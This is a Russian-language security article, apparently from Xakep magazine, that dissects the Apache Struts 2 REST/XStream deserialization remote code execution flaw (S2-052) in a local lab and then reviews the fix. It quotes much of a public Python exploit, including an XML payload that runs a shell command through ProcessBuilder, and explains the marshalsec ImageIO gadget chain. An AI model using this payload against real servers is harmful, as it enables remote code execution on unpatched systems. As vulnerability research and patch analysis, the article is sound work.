Хакер - Порка распорки. Разбираем свежую уязвимость в фреймворке Apache Struts 2
nopaywall

Содержание статьи
В предыдущих сериях
Не так давно я уже писал статью об уязвимости в Struts. Там речь шла о некорректной обработке сообщений об ошибках: используя OGNL, можно было выполнять произвольные команды на машине.
Еще была уязвимость языка шаблонов Freemarker (Freemarker Template Language). Некорректная работа механизма обработки тегов позволяла опять же отправлять серверу выражения Object Graph Navigation Language (OGNL), которые снова приводили к выполнению произвольного кода.
В этот раз под прицелом оказался механизм REST API, а ошибка закралась в механизм десериализации сущностей XML.
Наш подопытный
Все свои манипуляции я буду производить на ОС Windows 10. В качестве сервера я использую Apache Tomcat 8.5.20. Версию фреймворка Apache Struts я возьму из ветки 2.5, и это последняя уязвимая до патча — 2.5.12. Скачать можно, разумеется, на официальном сайте. Чтобы не пришлось искать, вот тебе прямая ссылочка (ZIP). Также можешь скачать только исходники, если захочешь заглянуть внутрь и лучше понять, как все устроено.
После установки сервера нужно распаковать архив с фреймворком, взять из папки apps приложение struts2-rest (файл struts2-rest-showcase.war) и положить в папку webapps сервера Tomcat. После этого можно запускать сервер.
Теперь, перейдя по адресу http://127.0.0.1:8080/struts2-rest-showcase, ты можешь наблюдать нашего подопытного.
Готовое к экспериментам приложениеКопаемся в исходниках
Для начала несколько слов о ContentTypeHandler. Это интерфейс, который предоставляется фреймворком для конвертирования данных в объекты Java. Десериализацию здесь используют, чтобы преобразовать переданные данные в объекты. Поэтому каждый класс, реализующий этот интерфейс, представляет потенциальный интерес для нас как исследователей. Ведь все мы любим десериализацию юзердаты.
Так вот, в Struts имеется такой класс, как XStreamHandler.
/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
30: /** 31: * Handles XML content 32: */ 33: public class XStreamHandler implements ContentTypeHandler {
Он используется при обработке данных в формате XML, отправленных на сервер.
Заглянем в конфигурационный файл.
/plugins/rest/src/main/resources/struts-plugin.xml
35: <bean type="org.apache.struts2.rest.handler.ContentTypeHandler" name="xml" class="org.apache.struts2.rest.handler.XStreamHandler" /> ... 47: <constant name="struts.action.extension" value="xhtml,,xml,json" />
Как видишь, обработка XML-запросов включена по умолчанию, и занимается этим именно класс XStreamHandler.
Во время обработки пользовательского запроса класс ContentTypeInterceptorопределяет MIME-тип отправленных данных и направляет выполнение кода в нужное русло — для обработки данных выбирается соответствующий обработчик.
/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java
38: public class ContentTypeInterceptor extends AbstractInterceptor { ... 48: public String intercept(ActionInvocation invocation) throws Exception { 49: HttpServletRequest request = ServletActionContext.getRequest(); 50: ContentTypeHandler handler = selector.getHandlerForRequest(request);
Чтобы превратить переданные данные в объект, существует метод с подходящим названием toObject. Он и вызывается из обработчика, определенного с помощью intercept.
/plugins/rest/src/main/java/org/apache/struts2/rest/ContentTypeInterceptor.java
59: InputStreamReader reader = new InputStreamReader(is); 60: handler.toObject(reader, target);
/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
43: public void toObject(Reader in, Object target) { 44: XStream xstream = createXStream(); 45: xstream.fromXML(in, target); 46: }
Объект in — это не что иное, как пользовательские данные, отправленные определенному методу REST API. Эти данные передаются в XStream.fromXML.
/src/java/com/thoughtworks/xstream/XStream.java
1239: public <T> T fromXML(final Reader xml, final T root) { 1240: return unmarshal(hierarchicalStreamDriver.createReader(xml), root); 1241: }
Оттуда они попадают в функцию десериализации unmarshall. Никаких предварительных проверок переданных данных не производится, поэтому можно спокойно отправлять что душе угодно, а душе угодно хлеба и зрелищ. Ну и запущенный калькулятор, например, увидеть было бы неплохо.
Детали эксплоита и PoC
Так как для эксплуатации уязвимости достаточно отправки обычного HTTP-запроса к серверу, то можно воспользоваться хоть curl. Но, разумеется, есть и готовый эксплоит, написанный на Python.
42627.py
23: exploit = ''' 24: <map> ... 86: request = requests.post(url, data=exploit, headers=headers) ... 94: print ('[*] Example: python struts2.py http://sitevulnerable.com/struts2-rest-showcase/orders/3 id')
Эксплоит использует готовый RCE-пейлоад, нацеленный на системы с Linux.
42627.py
38: <next class="java.lang.ProcessBuilder"> 39: <command> 40: <string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string> 41: </command>
Я просто скопирую сам пейлоад, изменю его под наши Windows-реалии, выкину несколько необязательных параметров и попробую отправить методом POST. В качестве URL можно использовать корень приложения, который обрабатывает REST API. В моем случае это http://struts.visualhack:8080/struts2-rest-showcase/. В реальных условиях его, естественно, необходимо будет найти.
Успешная эксплуатация RCE-уязвимости в Apache Struts 2Сервер возвращает ошибку 500, и код успешно выполняется. Отмечу, что уязвимы все типы запросов, которые поддерживаются REST API — PUT, GET, POST и так далее.
Вообще, сам пейлоад сгенерирован при помощи утилиты marshalsec. С ней можно самыми разными способами проэксплуатировать классы десериализации (маршаллизации) и различные гаджеты к ним. В этом эксплоите использовался класс XStream и ImageIO в качестве гаджета.
Генерация пейлоада с помощью marshalsecТехника эксплуатации с помощью сгенерированного эксплоита использует цепочку гаджетов java.util.Collections$EmptyIterator → javax.imageio.ImageIO$ContainsFilter.
-
Метод
hashCode()из классаjdk.nashorn.internal.objects.NativeStringвызываетNativeString->getStringValue()./src/jdk/nashorn/internal/objects/NativeString.java
115: @Override 116: public int hashCode() { 117: return getStringValue().hashCode(); 118: } -
getStringValue()вызываетjava.lang.CharSequence->toString(). -
Затем
toString()изcom.sun.xml.internal.bind.v2.runtime.unmarshaller. Base64DataвызываетBase64Data->get().42627.py
28: <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> 29: <dataHandler>/com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.java
67: private DataHandler dataHandler;/com/sun/xml/internal/bind/v2/runtime/unmarshaller/Base64Data.java
177: public byte[] More ...get() { 178: if (data == null) { 179: try { 180: ByteArrayOutputStreamEx baos = new ByteArrayOutputStreamEx(1024); 181: InputStream is = dataHandler.getDataSource().getInputStream(); -
Base64Data->get(), в свою очередь, запускаетread()изjava.io.InputStream, предоставленногоjavax.activation.DataSource. А там у насcom.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource, который мы определим далее в пейлоаде.42627.py
30: <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> ... -
javax.crypto.CipherInputStream->read()в итоге вызывает методjavax.crypto.Cipher->update(). -
Что, в свою очередь, приводит к вызову класса
FirstProvider, запускающего итератор, который мы ему передадим. А передаем мы второй гаджет цепочки —javax.imageio.spi.FilterIterator.
Описание работы гаджета ImageIO35: <serviceIterator class="javax.imageio.spi.FilterIterator"> 36: <iter class="javax.imageio.spi.FilterIterator"> -
Полученный итератор выполняет метод
next(), в котором происходит вызов процедурыfilterизFilterIterator$Filter.38: <next class="java.lang.ProcessBuilder"> 39: <command> 40: <string>/bin/sh</string><string>-c</string><string>'''+ command +'''</string> 41: </command> 42: <redirectErrorStream>false</redirectErrorStream> 43: </next> -
Это ведет к тому, что
javax.imageio.ImageIO$ContainsFilterвызывает указанный метод из объекта, который был передан черезFilterIterator.45: <filter class="javax.imageio.ImageIO$ContainsFilter"> 46: <method> 47: <class>java.lang.ProcessBuilder</class> 48: <name>start</name> 49: <parameter-types/> 50: </method> 51: <name>foo</name> 52: </filter>
Таким образом, отрабатывает java.lang.ProcessBuilder->start() с параметрами из <command>, который приводит к выполнению произвольного кода в системе. Довольно запутанно, да, но, изучив пейлоад, ты постепенно поймешь, как это работает.
Анализ патча
Теперь посмотрим на то, как разработчики исправили эту ошибку. Вот этот коммит фиксит уязвимость.
Патч, исправляющий уязвимость S2-052Мы можем видеть, что изменения коснулись обработчика XStreamHandler. Ребята расширили его набор функций и добавили белый список классов, которые он может обрабатывать.
/src/plugins/rest/src/main/java/org/apache/struts2/rest/handler/XStreamHandler.java
047: public class XStreamHandler extends AbstractContentTypeHandler { ... 059: public void toObject(ActionInvocation invocation, Reader in, Object target) { 060: XStream xstream = createXStream(invocation); ... 073: protected XStream createXStream(ActionInvocation invocation) { 074: XStream stream = new XStream(); 075: LOG.debug("Clears existing permissions"); 076: stream.addPermission(NoTypePermission.NONE); 077: 078: LOG.debug("Adds per action permissions"); 079: addPerActionPermission(invocation, stream); 080: 081: LOG.debug("Adds default permissions"); 082: addDefaultPermissions(invocation, stream); 083: return stream; 084: } ... 086: private void addPerActionPermission(ActionInvocation invocation, XStream stream) { 087: Object action = invocation.getAction(); 088: if (action instanceof AllowedClasses) { ... 104: protected void addDefaultPermissions(ActionInvocation invocation, XStream stream) { ... 109: stream.addPermission(NullPermission.NULL); 110: stream.addPermission(PrimitiveTypePermission.PRIMITIVES); 111: stream.addPermission(ArrayTypePermission.ARRAYS); 112: stream.addPermission(CollectionTypePermission.COLLECTIONS); 113: stream.addPermission(new ExplicitTypePermission(new Class[]{Date.class}));
Разумеется, потенциально небезопасные классы туда не входят.
Демонстрация эксплуатации уязвимости
Выводы
Как это всегда бывает, наличие серьезных уязвимостей в популярных программных продуктах привлекает к ним большое внимание, в том числе со стороны новых экспертов по безопасности. Свежим взглядом они могут обнаружить то, что ускользало от других исследователей. Так получилось и с фреймворком Struts.
Напоследок хочу сказать, что утилита marshalsec была написана Морицем Бехлером (Moritz Bechler) на основе его фундаментального исследования атак на алгоритмы десериализации и методов их эксплуатации. Всем, кто не читал, рекомендую обязательно ознакомиться.
Читайте ещё больше платных статей бесплатно: https://t.me/nopaywall